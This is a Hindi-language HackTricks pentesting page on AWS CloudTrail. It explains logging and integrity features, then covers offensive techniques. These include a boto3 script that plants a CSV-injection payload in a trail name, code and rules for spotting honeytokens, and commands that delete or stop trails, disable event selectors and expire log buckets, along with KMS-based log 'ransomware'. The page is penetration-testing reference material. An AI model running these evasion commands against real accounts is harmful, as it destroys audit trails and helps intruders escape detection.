Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md

29 KiB

AWS - CloudTrail Enum

{{#include ../../../../banners/hacktricks-training.md}}

CloudTrail

AWS CloudTrail आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है। यह विस्तृत इवेंट लॉग कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।

प्रत्येक लॉग की गई घटना में शामिल है:

  • कॉल की गई API का नाम: eventName
  • कॉल की गई सेवा: eventSource
  • समय: eventTime
  • आईपी पता: SourceIPAddress
  • एजेंट विधि: userAgent। उदाहरण:
  • Signing.amazonaws.com - AWS प्रबंधन कंसोल से
  • console.amazonaws.com - खाते का रूट उपयोगकर्ता
  • lambda.amazonaws.com - AWS Lambda
  • अनुरोध पैरामीटर: requestParameters
  • प्रतिक्रिया तत्व: responseElements

घटनाएँ लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखी जाती हैं, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें लगभग 15 मिनट बाद S3 में भेजी जाती हैं।
CloudTrail के लॉग को खातों और क्षेत्रों के बीच समेकित किया जा सकता है।
CloudTrail लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें CloudTrail द्वारा आपको भेजे जाने के बाद अपरिवर्तित रही हैं। यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है।
जब एक ट्रेल बनाया जाता है, तो इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ।

लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।

लॉग एक S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD
  • बकेट का नाम: aws-cloudtrail-logs-<accountid>-<random>
  • उदाहरण: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का नाम इस प्रारूप का पालन करेगा: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

लॉग फ़ाइल नामकरण सम्मेलन

इसके अलावा, डाइजेस्ट फ़ाइलें (फ़ाइल की अखंडता की जांच करने के लिए) समान बकेट में होंगी:

कई खातों से लॉग समेकित करना

  • उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें भेजी जाना चाहते हैं
  • गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है
  • अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें

हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।

Caution

याद रखें कि एक खाते में विभिन्न ट्रेल्स हो सकते हैं जो CloudTrail सक्षम हैं और विभिन्न बकेट में समान (या विभिन्न) लॉग को स्टोर कर सकते हैं।

सभी संगठन खातों से 1 में CloudTrail

जब एक CloudTrail बनाया जाता है, तो यह संकेत देना संभव है कि सभी खातों के लिए CloudTrail सक्रिय किया जाए और लॉग को केवल 1 बकेट में प्राप्त किया जाए:

इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और लॉग को 1 खाते में केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।

लॉग फ़ाइलों की जांच

आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं हुआ है।

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail स्वचालित रूप से लॉग को CloudWatch में भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें।
ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक भूमिका बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:

  • CreateLogStream: यह CloudWatch Logs लॉग स्ट्रीम बनाने की अनुमति देता है
  • PutLogEvents: CloudTrail लॉग को CloudWatch Logs लॉग स्ट्रीम में वितरित करें

Event History

CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है:

Insights

CloudTrail Insights स्वचालित रूप से लिखित प्रबंधन घटनाओं का विश्लेषण करता है जो CloudTrail ट्रेल्स से आती हैं और आपको असामान्य गतिविधि के बारे में चेतावनी देता है। उदाहरण के लिए, यदि TerminateInstance घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं

Insights उसी बकेट में CloudTrail लॉग के साथ संग्रहीत होते हैं: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

CloudTrail Log File Integrity
  • जांचें कि क्या लॉग में छेड़छाड़ की गई है (संशोधित या हटाए गए)
  • डाइजेस्ट फ़ाइलों का उपयोग करता है (प्रत्येक फ़ाइल के लिए हैश बनाएं)

    • SHA-256 हैशिंग
    • डिजिटल हस्ताक्षर के लिए SHA-256 के साथ RSA
    • प्राइवेट की अमेज़न के पास है
  • डाइजेस्ट फ़ाइल बनाने में 1 घंटा लगता है (हर घंटे के शुरू में किया जाता है)
Stop unauthorized access
  • IAM नीतियों और S3 बकेट नीतियों का उपयोग करें

    • सुरक्षा टीम —> व्यवस्थापक पहुंच
    • ऑडिटर्स —> केवल पढ़ने की पहुंच
  • लॉग को एन्क्रिप्ट करने के लिए SSE-S3/SSE-KMS का उपयोग करें
Prevent log files from being deleted
  • IAM और बकेट नीतियों के साथ हटाने की पहुंच को प्रतिबंधित करें
  • S3 MFA हटाने के लिए कॉन्फ़िगर करें
  • लॉग फ़ाइल सत्यापन के साथ मान्य करें

Access Advisor

AWS Access Advisor अंतिम 400 दिनों के AWS CloudTrail लॉग पर निर्भर करता है ताकि इसके अंतर्दृष्टि एकत्र की जा सकें। CloudTrail AWS API कॉल और संबंधित घटनाओं का एक इतिहास कैप्चर करता है जो AWS खाते में की गई हैं। Access Advisor इस डेटा का उपयोग यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने कौन सी AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को अनुमतियों को परिष्कृत करने के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और संभावित रूप से वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।

Tip

इसलिए, Access Advisor उपयोगकर्ताओं को दी गई अनावश्यक अनुमतियों के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail के अंदर CVS इंजेक्शन करना संभव है जो मनमाने कोड को निष्पादित करेगा यदि लॉग को CSV में निर्यात किया जाता है और Excel के साथ खोला जाता है।
निम्नलिखित कोड एक खराब ट्रेल नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें पेलोड शामिल है:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

अधिक जानकारी के लिए CSV इनजेक्शन के बारे में पृष्ठ देखें:

{{#ref}} https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript-injection.html {{#endref}}

इस विशेष तकनीक के बारे में अधिक जानकारी के लिए देखें https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

डिटेक्शन बायपास

HoneyTokens बायपास

Honeytokens को संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने के लिए बनाया गया है। AWS के मामले में, ये AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है।

हालांकि, Canarytokens, SpaceCrab, SpaceSiren द्वारा बनाए गए Honeytokens या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता ID का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता ID को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, तो आप जान सकते हैं कि कुंजी एक Honeytoken है या नहीं

Pacu के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी Canarytokens, SpaceCrab, SpaceSiren** से संबंधित है:**

  • यदि canarytokens.org भूमिका नाम में दिखाई देता है या खाता ID 534261010715 त्रुटि संदेश में दिखाई देती है।
  • हाल ही में उनका परीक्षण करते समय, वे खाता 717712589309 का उपयोग कर रहे हैं और नाम में अभी भी canarytokens.com स्ट्रिंग है।
  • यदि SpaceCrab त्रुटि संदेश में भूमिका नाम में दिखाई देता है
  • SpaceSiren उपयोगकर्ता नाम उत्पन्न करने के लिए uuids का उपयोग करता है: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}
  • यदि नाम यादृच्छिक रूप से उत्पन्न होता है, तो यह एक HoneyToken होने की उच्च संभावनाएँ हैं।

कुंजी ID से खाता ID प्राप्त करें

आप एक्सेस कुंजी के अंदर कोडित से खाता ID प्राप्त कर सकते हैं जैसे कि यहां समझाया गया है और अपने Honeytokens AWS खातों की सूची के साथ खाता ID की जांच करें:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

लॉग उत्पन्न न करें

इसका सबसे प्रभावी तकनीक वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जिसे आपने अभी पाया है अपने हमलावर खाते के अंदर किसी सेवा तक पहुँचने के लिए। इससे CloudTrail आपके अपने AWS खाते के अंदर एक लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं

बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जो खाता आईडी और खाता नाम को इंगित करता है, इसलिए आप देख पाएंगे कि क्या यह एक Honeytoken है

लॉग के बिना AWS सेवाएँ

अतीत में कुछ AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं (यहाँ एक सूची खोजें)। उन सेवाओं में से कुछ त्रुटि के साथ कुंजी भूमिका का ARN प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) इसे एक्सेस करने की कोशिश करता है।

इस तरह, एक हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है। ARN में हमलावर AWS खाता आईडी और नाम देख सकता है, हनीटोकन की कंपनियों के खाते की आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।

Caution

ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग नहीं बना रही थीं, अब ठीक कर दी गई हैं, इसलिए शायद आपको अपनी खुद की खोज करनी होगी...

अधिक जानकारी के लिए मूल शोध देखें।

तीसरी अवसंरचना तक पहुँच

कुछ AWS सेवाएँ कुछ अवसंरचना जैसे डेटाबेस या कुबरनेट्स क्लस्टर (EKS) उत्पन्न करेंगी। एक उपयोगकर्ता सीधे उन सेवाओं से बात कर रहा है (जैसे कुबरनेट्स API) AWS API का उपयोग नहीं करेगा, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।

इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोज लिया है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए

अधिक जानकारी में:

{{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}}

CloudTrail कॉन्फ़िग को संशोधित करना

ट्रेल्स हटाएँ

aws cloudtrail delete-trail --name [trail-name]

स्टॉप ट्रेल्स

aws cloudtrail stop-logging --name [trail-name]

मल्टी-रीजन लॉगिंग बंद करें

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

ईवेंट चयनकर्ताओं द्वारा लॉगिंग बंद करें

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। "ReadWriteType": "ReadOnly" यह संकेत करता है कि इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए (इसलिए CloudTrail insights लिखने के इवेंट की जांच नहीं करेगा उदाहरण के लिए)।

आप अपने विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।

S3 जीवनचक्र नीति के माध्यम से लॉग हटाना

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

बकेट कॉन्फ़िगरेशन को संशोधित करना

  • S3 बकेट को हटाएँ
  • बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके
  • S3 बकेट में जीवनचक्र नीति जोड़ें ताकि वस्तुओं को हटाया जा सके
  • CloudTrail लॉग को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को निष्क्रिय करें

Cloudtrail रैनसमवेयर

S3 रैनसमवेयर

आप एक विषम कुंजी उत्पन्न कर सकते हैं और CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट करने के लिए बना सकते हैं और निजी कुंजी को हटा सकते हैं ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके।
यह मूल रूप से एक S3-KMS रैनसमवेयर है जो कि इस में समझाया गया है:

{{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}}

KMS रैनसमवेयर

यह विभिन्न अनुमतियों की आवश्यकताओं के साथ पिछले हमले को करने का सबसे आसान तरीका है:

{{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}}

संदर्भ

{{#include ../../../../banners/hacktricks-training.md}}